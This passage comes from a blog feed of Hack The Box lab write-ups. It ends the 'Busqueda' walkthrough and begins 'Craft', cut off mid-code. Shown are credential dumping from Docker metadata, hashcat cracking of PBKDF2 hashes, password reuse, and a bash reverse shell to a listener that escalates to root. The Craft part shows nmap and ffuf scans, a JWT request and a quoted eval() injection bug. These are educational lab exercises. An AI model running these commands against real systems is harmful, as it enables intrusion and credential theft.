&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; use_pty
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;User svc may run the following commands on busqueda:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; (root) /usr/bin/python3 /opt/scripts/system-checkup.py *&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;It looks like my correct user has full root rights over the &lt;code&gt;/opt/scripts/system-checkup.py&lt;/code&gt; python scripts.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo -S /usr/bin/python3 /opt/scripts/system-checkup.py -h
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;SNIP&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Usage: /opt/scripts/system-checkup.py &amp;lt;action&amp;gt; (arg1) (arg2)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; docker-ps : List running docker containers
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; docker-inspect : Inpect a certain docker container
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; full-checkup : Run a full system checkup&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Reading up on the help page, I can see that I can enumerate running containers.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svc@busqueda:/$ sudo -S /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;in/python3 /opt/scripts/system-checkup.py docker-ps
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;960873171e2e gitea/gitea:latest &amp;#34;/usr/bin/entrypoint…&amp;#34; 3 years ago Up 24 hours 127.0.0.1:3000-&amp;gt;3000/tcp, 127.0.0.1:222-&amp;gt;22/tcp gitea
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;f84a6b33fb5a mysql:8 &amp;#34;docker-entrypoint.s…&amp;#34; 3 years ago Up 24 hours 127.0.0.1:3306-&amp;gt;3306/tcp, 33060/tcp mysql_db&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Seeing the &lt;code&gt;mysql_db&lt;/code&gt; container I looked up what data can be actually inspected, &amp;ldquo;.Config.Env&amp;rdquo; is a metadata field which gives basic configuration information and present variables of the container.
I tried to run it like that &lt;code&gt;sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect .Config.Env mysql_db&lt;/code&gt; but it didn&amp;rsquo;t work. I tried &lt;code&gt;sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect &amp;quot;.Config.Env&amp;quot; mysql_db&lt;/code&gt; but it also didn&amp;rsquo;t work. Finally I found that in Go language, metadata is also parsed with double &lt;code&gt;{&lt;/code&gt;&amp;rsquo;s so I tried with them &lt;code&gt;sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect {{.Config.Env}} mysql_db&lt;/code&gt; and it worked.&lt;/p&gt;
&lt;p&gt;Inside, I actually found some credentials - &amp;ldquo;MYSQL_ROOT_PASSWORD&amp;rdquo;, &amp;ldquo;MYSQL_USER&amp;rdquo; and &amp;ldquo;MYSQL_PASSWORD&amp;rdquo;.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svc@busqueda:/$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect &amp;#34;{{.Config.Env}}&amp;#34; mysql_db
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;heckup.py docker-inspect &amp;#34;{{.Config.Env}}&amp;#34; mysql_db
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF MYSQL_USER=gitea MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh MYSQL_DATABASE=gitea PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin GOSU_VERSION=1.14 MYSQL_MAJOR=8.0 MYSQL_VERSION=8.0.31-1.el8 MYSQL_SHELL_VERSION=8.0.31-1.el8]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I assume that this is how the credentials should be related.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gitea:yuiu1hoiu4i5ho1uh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;root:jI86kGUuj87guWr3RyF&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I tried to connect to the database with this command, but it didn&amp;rsquo;t work &lt;code&gt;mysql -u gitea -pyuiu1hoiu4i5ho1uh -h 127.0.0.1 -P 3306&lt;/code&gt; which is unusual.
Then I tried &lt;code&gt;mysql -u gitea -p -h 127.0.0.1 -P 3306&lt;/code&gt; to no avail.&lt;/p&gt;
&lt;p&gt;I gave up on connecting to the mysql directly, this could be an issue with my shell and spawning another tool locally, so I just run commands one-by-one like so:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svc@busqueda:/var/www/app$ mysql -u gitea -pyuiu1hoiu4i5ho1uh -h 127.0.0.1 -P 3306 -e &amp;#34;SHOW DATABASES;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;SNIP&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Database
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gitea
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;information_schema
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;performance_schema&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Then I looked at the tables:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mysql -u gitea -pyuiu1hoiu4i5ho1uh -h 127.0.0.1 -P 3306 -e &amp;#34;USE gitea; SHOW TABLES;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;SNIP&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;watch
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;webauthn_credential
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;webhook&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;And enumerated user data:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mysql -u gitea -pyuiu1hoiu4i5ho1uh -h 127.0.0.1 -P 3306 -e &amp;#34;USE gitea; SELECT * FROM user&amp;#34;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The information came out really scuffed, so I spent some time formatting it to be actually readable.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;id	lower_name	name	full_name	email	keep_email_private	email_notifications_preference	passwd	passwd_hash_algo	must_change_password	login_type	login_source	login_nametype	location	website	rands	salt	language	description	created_unix	updated_unix	last_login_unix	last_repo_visibility	max_repo_creation	is_active	is_admin	is_restricted	allow_git_hook	allow_import_local	allow_create_organization	prohibit_login	avatar	avatar_email	use_custom_avatar	num_followers	num_following	num_stars	num_reposnum_teams	num_members	visibility	repo_admin_change_team_access	diff_view_style	theme	keep_activity_private
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1	administrator	administrator		administrator@gitea.searcher.htb	0	enabled	ba598d99c2202491d36ecf13d5c28b74e2738b07286edc7388a2fc870196f6c4da6565ad9ff68b1d28a31eeedb1554b5dcc2	pbkdf2	0	0	0		0			44748ed806accc9d96bf9f495979b742	a378d3f64143b284f104c926b8b49dfb	en-US		1672857920	1680531979	1673083022	1-1	1	1	0	0	0	1	0		administrator@gitea.searcher.htb	0	0	0	0	1	0	0	0	0		auto	0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2	cody	cody		cody@gitea.searcher.htb	0	enabled	b1f895e8efe070e184e5539bc5d93b362b246db67f3a2b6992f37888cb778e844c0017da8fe89dd784be35da9a337609e82e	pbkdf2	0	0	0		0304b5a2ce88b6d989ea5fae74cc6b3f3	d1db0a75a18e50de754be2aafcad5533	en-US		1672858006	1680532283	1680532243	1	-1	1	0	0	0	0	1	0cody@gitea.searcher.htb	0	0	0	0	1	0	0	0	0		auto	0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Here&amp;rsquo;s the data in a table:&lt;/p&gt;
&lt;table style="width:100%; table-layout: fixed; border-collapse: collapse;"&gt;
 &lt;tr&gt;
 &lt;th style="width:5%; text-align: center;"&gt;ID&lt;/th&gt;
 &lt;th style="width:10%; text-align: center;"&gt;Name&lt;/th&gt;
 &lt;th style="width:25%; text-align: center;"&gt;Email&lt;/th&gt;
 &lt;th style="width:35%; text-align: center;"&gt;Password&lt;/th&gt;
 &lt;th style="width:10%; text-align: center;"&gt;Algorithm&lt;/th&gt;
 &lt;th style="width:15%; text-align: center;"&gt;Salt&lt;/th&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;1&lt;/td&gt;
 &lt;td&gt;administrator&lt;/td&gt;
 &lt;td&gt;administrator@gitea.searcher.htb&lt;/td&gt;
 &lt;td&gt;ba598d99c2202491d36ecf13d5c28b74e2738b07286edc7388a2fc870196f6c4da6565ad9ff68b1d28a31eeedb1554b5dcc2&lt;/td&gt;
 &lt;td&gt;pbkdf2&lt;/td&gt;
 &lt;td&gt;a378d3f64143b284f104c926b8b49dfb&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;2&lt;/td&gt;
 &lt;td&gt;cody&lt;/td&gt;
 &lt;td&gt;cody@gitea.searcher.htb&lt;/td&gt;
 &lt;td&gt;b1f895e8efe070e184e5539bc5d93b362b246db67f3a2b6992f37888cb778e844c0017da8fe89dd784be35da9a337609e82e&lt;/td&gt;
 &lt;td&gt;pbkdf2&lt;/td&gt;
 &lt;td&gt;d1db0a75a18e50de754be2aafcad5533&lt;/td&gt;
 &lt;/tr&gt;
&lt;/table&gt;
&lt;p&gt;What I see here are PBKDF2-HMAC-SHA256 password hashes. I have the password itself, algorythm mentioned and salt but I do not know the amount of the hashing iterations the passwords went through. This information is important to be able to actually crack the password. From my googling it seems like 50000 iterations is a standard.
&lt;code&gt;hashcat -m 10900 'sha256:50000:a378d3f64143b284f104c926b8b49dfb:ba598d99c2202491d36ecf13d5c28b74e2738b07286edc7388a2fc870196f6c4da6565ad9ff68b1d28a31eeedb1554b5dcc2' wordlist.txt&lt;/code&gt;
I ran this for a long time but nothing came out and it took too long so I pivoted to other possible vectors.&lt;/p&gt;
&lt;p&gt;I thought of &lt;code&gt;xp_cmdshell&lt;/code&gt; but it&amp;rsquo;s only on MSSQL and not on MySQLs. I tried reading and writing files but It didn&amp;rsquo;t work. I checked it with &lt;code&gt;mysql -u root -pjI86kGUuj87guWr3RyF -h 127.0.0.1 -P 3306 -e &amp;quot;show variables like 'secure_file_priv'&amp;quot;;&lt;/code&gt; and it looks that mysql is restricted to only read and write files in &lt;code&gt;/var/lib/mysql-files/&lt;/code&gt;.&lt;/p&gt;

&lt;h3 class="relative group"&gt;Administrator
 &lt;div id="administrator" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;Quite disappointingly I ran out of ideas and tried to authenticate with the credentials I have to SSH and later to Gitea. Turns out that Administrator:yuiu1hoiu4i5ho1uh is a valid combo. This is a bit weird as the &amp;ldquo;root&amp;rdquo; password for the DB is different. I guess this just shows that it&amp;rsquo;s important to check every possible combination of acquired credentials.&lt;/p&gt;
&lt;p&gt;I was able to access administrators gitea and enumerate the scripts inside, the one inside is &lt;code&gt;system-checkup.py&lt;/code&gt;.
From the code I learned that the scripts looks for a relative path when running full-checkup and want to run &lt;code&gt;./full-checkup.py&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I can create a bash reverse shell and rename it to full-checkup.py so that the script reads and executes my shell in process elevating my privileges.
First I create the payload with &lt;code&gt;echo -N &amp;quot;bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.15.189/1338 0&amp;gt;&amp;amp;1;'&amp;quot; &amp;gt; full-checkup.sh&lt;/code&gt; change permissions so that it can be executed &lt;code&gt;chmod +x full-checkup.sh&lt;/code&gt; and lastly I start a listener with &lt;code&gt;nc -lnvp 1338&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Then when I run &lt;code&gt;sudo -S /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup&lt;/code&gt; and get a shell as root.&lt;/p&gt;

&lt;h2 class="relative group"&gt;Closing Thoughts
 &lt;div id="closing-thoughts" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;
&lt;p&gt;Busqueda introduces a solid code review exercise, working with repositories and custom scripts. It&amp;rsquo;s heavy on careful code enumeration and gradual pivoting granting further access. Very fun and insightful!&lt;/p&gt;</description><media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://emilpawlak.codeberg.page/posts/htb/busqueda/featured.png"/></item><item><title>Craft</title><link>https://emilpawlak.codeberg.page/posts/htb/craft/</link><pubDate>04.04.2026</pubDate><author>EmilPawlak@protonmail.com (Emil Pawlak)</author><guid>https://emilpawlak.codeberg.page/posts/htb/craft/</guid><description>Craft is a challenging box focused on API abuse, code review, and exploitation of insecure application logic. It required careful analysis of a vulnerable API, understanding how user input flows through the system, and leveraging injection techniques to achieve code execution. It was a tough one for sure, but very much worth it.</description><description>
&lt;h2 class="relative group"&gt;Enumeration
 &lt;div id="enumeration" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;

&lt;h3 class="relative group"&gt;nmap
 &lt;div id="nmap" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;I started my nmap scan with &lt;code&gt;sudo nmap -sC -sV -O -Pn 10.129.21.109; sleep 5; sudo nmap -p- -Pn 10.129.21.109; sleep 5; sudo nmap -sU -Pn 10.129.21.109&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;




&lt;div
 id="accordion-644ed5c6c1ae23ee56d2c850c8c4ffb5"
 class="border border-neutral-200 dark:border-neutral-700 rounded-lg overflow-hidden"
 data-accordion="collapse"
 data-accordion-separated="false"
&gt;
 


 










&lt;details
 class="group border-none"
 data-accordion-item
 
&gt;
 &lt;summary class="flex w-full cursor-pointer items-center justify-between gap-4 px-4 py-3 text-left text-lg font-semibold text-neutral-900 dark:text-neutral-100"&gt;
 &lt;span class="flex items-center gap-2"&gt;
 
 &lt;span class="relative block icon"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"&gt;
&lt;path fill="currentColor" d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/&gt;&lt;/svg&gt;&lt;/span&gt;
 
 &lt;span&gt;nmap scan results&lt;/span&gt;
 &lt;/span&gt;
 &lt;span class="accordion-chevron ms-auto flex h-5 w-5 items-center justify-center print:hidden"&gt;
 &lt;span class="relative block icon"&gt;&lt;svg
 xmlns="http://www.w3.org/2000/svg"
 viewBox="0 0 20 20"
 fill="currentColor"
 aria-hidden="true"
&gt;
 &lt;path
 fill-rule="evenodd"
 d="M5.23 7.21a.75.75 0 011.06.02L10 11.168l3.71-3.938a.75.75 0 111.08 1.04l-4.25 4.5a.75.75 0 01-1.08 0l-4.25-4.5a.75.75 0 01.02-1.06z"
 clip-rule="evenodd"
 /&gt;
&lt;/svg&gt;
&lt;/span&gt;
 &lt;/span&gt;
 &lt;/summary&gt;
&lt;div class="px-4 pb-4 text-neutral-700 dark:text-neutral-300"&gt;
 &lt;pre&gt;&lt;code&gt;Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-02 17:39 CEST
Nmap scan report for 10.129.21.109
Host is up (0.028s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
| 2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
| 256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
|_ 256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=4/2%OT=22%CT=1%CU=31105%PV=Y%DS=2%DC=I%G=Y%TM=69CE8DD5
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ(
OS:SP=103%GCD=1%ISR=106%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=104%GCD=1%ISR=108%TI=Z%C
OS:I=Z%II=I%TS=A)SEQ(SP=105%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=105%GC
OS:D=2%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M4E2ST11NW7%O2=M4E2ST11NW7%O3=M4E
OS:2NNT11NW7%O4=M4E2ST11NW7%O5=M4E2ST11NW7%O6=M4E2ST11)WIN(W1=FE88%W2=FE88%
OS:W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M4E2NNSNW7%CC
OS:=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T
OS:=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=
OS:0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40
OS:%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.44 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-02 17:40 CEST
Nmap scan report for 10.129.21.109
Host is up (0.029s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
443/tcp open https
6022/tcp open x11

Nmap done: 1 IP address (1 host up) scanned in 14.11 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-02 17:40 CEST
Nmap scan report for 10.129.21.109
Host is up (0.029s latency).
Not shown: 999 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc

Nmap done: 1 IP address (1 host up) scanned in 1008.69 seconds
&lt;/code&gt;&lt;/pre&gt;

 &lt;/div&gt;
&lt;/details&gt;

&lt;/div&gt;

&lt;style&gt;
 #accordion-644ed5c6c1ae23ee56d2c850c8c4ffb5 &gt; details + details {
 border-top: 1px solid rgb(var(--color-neutral-200));
 }
 .dark #accordion-644ed5c6c1ae23ee56d2c850c8c4ffb5 &gt; details + details {
 border-top-color: rgb(var(--color-neutral-700));
 }
&lt;/style&gt;

&lt;style&gt;
 #accordion-644ed5c6c1ae23ee56d2c850c8c4ffb5 details[data-accordion-item] &gt; summary .accordion-chevron {
 transform: rotate(-90deg);
 transition: transform 200ms ease-in-out;
 }
 #accordion-644ed5c6c1ae23ee56d2c850c8c4ffb5 details[data-accordion-item][open] &gt; summary .accordion-chevron {
 transform: rotate(0deg);
 }
&lt;/style&gt;

&lt;script&gt;
 (() =&gt; {
 const root = document.getElementById("accordion-644ed5c6c1ae23ee56d2c850c8c4ffb5");
 if (!root) return;
 const items = root.querySelectorAll("details[data-accordion-item]");
 items.forEach((item) =&gt; {
 item.addEventListener("toggle", () =&gt; {
 if (!item.open) return;
 items.forEach((other) =&gt; {
 if (other !== item) other.removeAttribute("open");
 });
 });
 });
 })();
&lt;/script&gt;


&lt;br&gt;&lt;/p&gt;

&lt;h3 class="relative group"&gt;Port - 6022
 &lt;div id="port---6022" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;I accessed the port 6022 and found this info in a simple clear text&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SSH-2.0-Go
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;��ü)¹)“3bU=²¤���Œcurve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1���ssh-rsa���Maes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128���Maes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128���Bhmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96���Bhmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96���none���none�������������bq¯&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="https://www.speedguide.net/port.php?port=6022" target="_blank" rel="noreferrer"&gt;Speed guide&lt;/a&gt; shows that port 6022 belong to the x11 service which is an X Window System.
&lt;em&gt;&amp;ldquo;The X Window System is a windowing system for bitmap displays, common on Unix-like operating systems.&amp;rdquo; ~ Wikipedia&lt;/em&gt;
&lt;a href="https://www.maketecheasier.com/the-x-window-system/" target="_blank" rel="noreferrer"&gt;Here&lt;/a&gt; is a good read on the basic concept of x11.&lt;/p&gt;

&lt;h3 class="relative group"&gt;craft.htb
 &lt;div id="crafthtb" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;The website on 443 at first didn&amp;rsquo;t work for me but now I can view it.
Front page suggest that we will work with some API calls. both menu options use two new subdomains &amp;ldquo;api.craft.htb&amp;rdquo; and &amp;ldquo;gogs.craft.htb&amp;rdquo;. I will add them to my &lt;code&gt;/etc/hosts&lt;/code&gt; and run &lt;code&gt;ffuf&lt;/code&gt; to look for any other subdomains and to enumerate directories.
&lt;code&gt;ffuf -u https://craft.htb/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 291&lt;/code&gt;
&lt;code&gt;ffuf -u https://craft.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H &amp;quot;Host: FUZZ.craft.htb&amp;quot; -fs 3779&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;I also didn&amp;rsquo;t find any comments on the main website, it does use nginx 1.15.8.&lt;/p&gt;
&lt;p&gt;api subdomain hosts different api calls. Two interesting one are authentication check to check validity of an authorization token and the authentication login to create the said token.
gogs is a local git repo tools. I found some users related to it&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-Users" data-lang="Users"&gt;administrator
ebachman Erlich Bachman
dinesh Dinesh Chugtai
gilfoyle Bertram Gilfoyle&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I suspect there will be some API keys, tokens or creds in the repository by accident. I found a discussion about adding bogus ABV values; it was partially patched but still seems insecure, making it a potential attack vector for exploring API behavior.&lt;/p&gt;

&lt;h2 class="relative group"&gt;Foothold
 &lt;div id="foothold" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;
&lt;p&gt;I this issue we can see this command holding a JWT token (JSON Web Token).
&lt;code&gt;curl -H 'X-Craft-API-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0.-wW1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw' -H &amp;quot;Content-Type: application/json&amp;quot; -k -X POST https://api.craft.htb/api/brew/ --data '{&amp;quot;name&amp;quot;:&amp;quot;bullshit&amp;quot;,&amp;quot;brewer&amp;quot;:&amp;quot;bullshit&amp;quot;, &amp;quot;style&amp;quot;: &amp;quot;bullshit&amp;quot;, &amp;quot;abv&amp;quot;: &amp;quot;15.0&amp;quot;)}'&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;These tokens have three parts:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9&lt;/code&gt; - Header&lt;/li&gt;
&lt;li&gt;&lt;code&gt;eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0&lt;/code&gt; - Payload&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wW1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw&lt;/code&gt; - Signature&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Depending on the cryptographic in place I could crack it, but I&amp;rsquo;d need to look into that more. Let&amp;rsquo;s check other information that we can find.&lt;/p&gt;
&lt;p&gt;Later on that issue one of the users shows a commit with this patch which another developer find bad&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;+ # make sure the ABV value is sane.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;+ if eval(&amp;#39;%s &amp;gt; 1&amp;#39; % request.json[&amp;#39;abv&amp;#39;]):
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;+ return &amp;#34;ABV must be a decimal value less than 1.0&amp;#34;, 400
